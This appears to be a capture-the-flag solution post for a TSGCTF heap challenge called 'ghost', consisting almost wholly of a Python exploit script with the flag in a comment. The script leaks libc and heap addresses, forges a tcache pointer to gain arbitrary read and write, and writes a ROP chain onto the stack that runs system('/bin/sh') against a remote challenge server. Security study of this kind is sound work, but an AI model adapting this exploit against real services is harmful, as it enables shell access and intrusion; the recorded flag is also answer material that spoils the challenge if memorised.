Rating:
```
#!/usr/bin/env python3
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './ghost'
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
local = {'argv':[bin_file]}, \
remote = {'host':'34.146.195.242', 'port':40007})
env.set_item('libc', debug = None, \
local = None, \
remote = 'libc.so.6')
env.select()
#==========
binf = ELF(bin_file)
libc = ELF(env.libc) if env.libc else binf.libc
ofs_libc_stdin = libc.symbols['_IO_2_1_stdin_']
ofs_libc_mainarena = ofs_libc_stdin + 0x1e0
#==========
def attack(conn, **kwargs):
g = Ghost(conn)
for i in range(8):
g.post(str(i)*0x88)
g.move_old(18446744073709551616 - 1) # 1
for i in range(8):
g.undo()
addr_libc_mainarena = u64(g.print()[:8]) - 0x60
libc.address = addr_libc_mainarena - ofs_libc_mainarena
info('addr_libc_base = 0x{:012x}'.format(libc.address))
addr_libc_environ = libc.symbols['environ']
addr_libc_str_sh = next(libc.search(b'/bin/sh'))
g.post(b'a'*8)
g.post(b'b'*8)
g.move_old(18446744073709551616 - 1) # 2
g.undo()
addr_heap_base = (u64(g.print()[:8]) << 12) - 0x2000
info('addr_heap_base = 0x{:012x}'.format(addr_heap_base))
g.move_old(1) # 1
g.undo()
g.modify(p64((addr_heap_base + 0x3190) ^ ((addr_heap_base+0x2000) >> 12)))
g.post(b'A'*8)
g.post(b'B'*0x18)
def aar(addr, size):
g.pin(2)
g.modify(flat(size, addr, size))
g.pin(0)
return g.print()
def aaw(addr, data):
g.pin(2)
size = len(data)
g.modify(flat(size, addr, size))
g.pin(0)
g.modify(data)
addr_stack = u64(aar(addr_libc_environ, 8))
info('addr_stack = 0x{:012x}'.format(addr_stack))
rop = ROP(libc)
rop.system(addr_libc_str_sh)
rop.exit(0)
exploit = p64(rop.ret.address)*0x21
exploit += bytes(rop)
aaw(addr_stack - 0x580, exploit)
class Ghost:
def __init__(self, conn):
self.recv = conn.recv
self.recvuntil = conn.recvuntil
self.recvline = conn.recvline
self.unrecv = conn.unrecv
self.send = conn.send
self.sendline = conn.sendline
self.sendafter = conn.sendafter
self.sendlineafter = conn.sendlineafter
def post(self, content):
self.sendlineafter(b'> ', b'1')
self.sendafter(b'tweet > ', content)
def undo(self):
self.sendlineafter(b'> ', b'2')
def pin(self, idx):
self.sendlineafter(b'> ', b'3')
self.sendlineafter(b'id > ', str(idx).encode())
def print(self):
self.sendlineafter(b'> ', b'4')
content = self.recvuntil(b'\n> ', drop=True)
self.unrecv(b'> ')
return content
def modify(self, content):
self.sendlineafter(b'> ', b'5')
self.sendafter(b'tweet > ', content)
def move_old(self, size):
self.sendlineafter(b'> ', b'6')
self.sendlineafter(b'> ', b'0')
self.sendlineafter(b'size > ', str(size).encode())
def move_new(self, size):
self.sendlineafter(b'> ', b'6')
self.sendlineafter(b'> ', b'1')
self.sendlineafter(b'size > ', str(size).encode())
def exit(self):
self.sendlineafter(b'> ', b'7')
#==========
def main():
comn = Communicate(env.mode, **env.target)
comn.connect()
comn.run(attack)
comn.interactive()
# TSGCTF{Ghost_dwells_within_the_proof}
if __name__=='__main__':
main()
#==========
```